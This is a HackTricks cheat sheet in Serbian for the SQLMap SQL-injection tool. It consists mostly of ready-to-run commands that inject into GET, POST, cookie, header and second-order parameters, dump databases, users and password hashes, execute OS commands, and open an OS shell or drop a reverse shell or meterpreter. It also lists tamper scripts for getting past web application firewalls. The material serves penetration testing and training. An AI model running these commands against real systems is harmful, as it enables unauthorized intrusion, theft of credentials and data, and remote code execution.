SQLMap

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovni argumenti za SQLmap

Opšti

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Preuzimanje informacija

Interno

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB podaci

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Mesto injekcije

Iz Burp/ZAP snimka

Snimite zahtev i kreirajte req.txt datoteku

bash
sqlmap -r req.txt --current-user

GET Request Injection

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Injekcije u zaglavljima i drugim HTTP metodama

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Drugi red injekcija

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Crawling a website with SQLmap and auto-exploit

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Prilagođavanje Injekcije

Postavi sufiks

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoć u pronalaženju boolean injekcije

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyZamenjuje karakter apostrofa sa njegovim punim UTF-8 ekvivalentom
apostrophenullencode.pyZamenjuje karakter apostrofa sa njegovim ilegalnim dvostrukim unicode ekvivalentom
appendnullbyte.pyDodaje kodirani NULL bajt na kraj payload-a
base64encode.pyBase64 kodira sve karaktere u datom payload-u
between.pyZamenjuje operator veći od ('>') sa 'NOT BETWEEN 0 AND #'
bluecoat.pyZamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom
chardoubleencode.pyDvostruko url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane)
commalesslimit.pyZamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M'
commalessmid.pyZamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)'
concat2concatws.pyZamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyUrl-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane)
charunicodeencode.pyUnicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022"
charunicodeescape.pyUnicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022"
equaltolike.pyZamenjuje sve pojave operatora jednakosti ('=') sa operatorom 'LIKE'
escapequotes.pySlash escape za navodnike (' i ")
greatest.pyZamenjuje operator veći od ('>') sa 'GREATEST' ekvivalentom
halfversionedmorekeywords.pyDodaje verzionirani MySQL komentar pre svake ključne reči
ifnull2ifisnull.pyZamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyObavija kompletnu upit sa verzioniranim komentarom
modsecurityzeroversioned.pyObavija kompletnu upit sa komentarom bez verzije
multiplespaces.pyDodaje više razmaka oko SQL ključnih reči
nonrecursivereplacement.pyZamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri
percentage.pyDodaje znak procenta ('%') ispred svakog karaktera
overlongutf8.pyKonvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane)
randomcase.pyZamenjuje svaki karakter ključne reči sa nasumičnom vrednošću slučajnosti
randomcomments.pyDodaje nasumične komentare SQL ključnim rečima
securesphere.pyDodaje posebno oblikovanu string
sp_password.pyDodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova
space2comment.pyZamenjuje karakter razmaka (' ') sa komentarima
space2dash.pyZamenjuje karakter razmaka (' ') sa komentarom u obliku crte ('--') praćenim nasumičnim stringom i novim redom ('\n')
space2hash.pyZamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n')
space2morehash.pyZamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n')
space2mssqlblank.pyZamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
space2mssqlhash.pyZamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim novim redom ('\n')
space2mysqlblank.pyZamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
space2mysqldash.pyZamenjuje karakter razmaka (' ') sa komentarom u obliku crte ('--') praćenim novim redom ('\n')
space2plus.pyZamenjuje karakter razmaka (' ') sa plusom ('+')
space2randomblank.pyZamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
symboliclogical.pyZamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i
unionalltounion.pyZamenjuje UNION ALL SELECT sa UNION SELECT
unmagicquotes.pyZamenjuje karakter navodnika (') sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo)
uppercase.pyZamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT'
varnish.pyDodaje HTTP zaglavlje 'X-originating-IP'
versionedkeywords.pyObavija svaku ne-funkcijsku ključnu reč sa verzioniranim MySQL komentarom
versionedmorekeywords.pyObavija svaku ključnu reč sa verzioniranim MySQL komentarom
xforwardedfor.pyDodaje lažno HTTP zaglavlje 'X-Forwarded-For'

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks